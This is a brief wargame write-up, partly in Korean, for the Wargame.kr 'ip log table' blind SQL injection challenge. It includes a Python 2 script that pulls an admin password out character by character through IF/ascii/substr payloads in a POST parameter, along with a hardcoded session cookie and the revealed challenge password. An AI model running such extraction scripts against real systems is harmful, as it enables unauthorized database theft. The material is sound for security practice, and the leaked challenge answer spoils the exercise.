Wargame.kr ip log table

ip log table

700point / bughela

Blind SQLi challenge.

You can use 'Ascii' to 'Date'

Blind SQLi 문제다.

IDX 누른 상태에서 파로스를 보면 idx=(클릭한 IDX)를 POST로 보내고 있다.

그곳에 IF를 이용하여서 SQL INJECTION을 해보니 취약점이 있다는 것을 알 수 있었다.

import urllib2
 
pw_idx = 10
temp = 0
table = 'admin_table'
id_ = 'blue_admin'
ps = '0h~myp4ss'
while True:
    url = 'http://wargame.kr:8080/ip_log_table/chk.php'    
#    param = 'idx=if((select%20ascii(substr(table_name,{0},1))={1}%20from%20information_schema.tables%20where%20TABLE_TYPE=0x42415345205441424c45%20and%20TABLE_SCHEMA!=0x6d79737716c%20limit%200,1),20814,0)'.format(pw_idx,temp)    
    param = 'idx=if((select%20ascii(substr(ps,{0},1))={1}%20from%20{2}),20814,0)'.format(pw_idx,temp,table)    
    print param
    req = urllib2.Request(url,param)
    req.add_header('Cookie','PHPSESSID=tjh76u62fvgkq902q9pv4h1mq3')
    req.add_header('User-Agent','Mozilla/5.0')
    read_data = urllib2.urlopen(req).read()
#    print read_data
#    raw_input('$ ')
    if '21:13:44' in read_data:
        ps += chr(temp)
        temp = 0
        pw_idx += 1
        print 'Search {0}'.format(ps)
        if pw_idx > 10:
            break
    else:
        temp += 1
    
print 'table_name: {0}'.format(ps)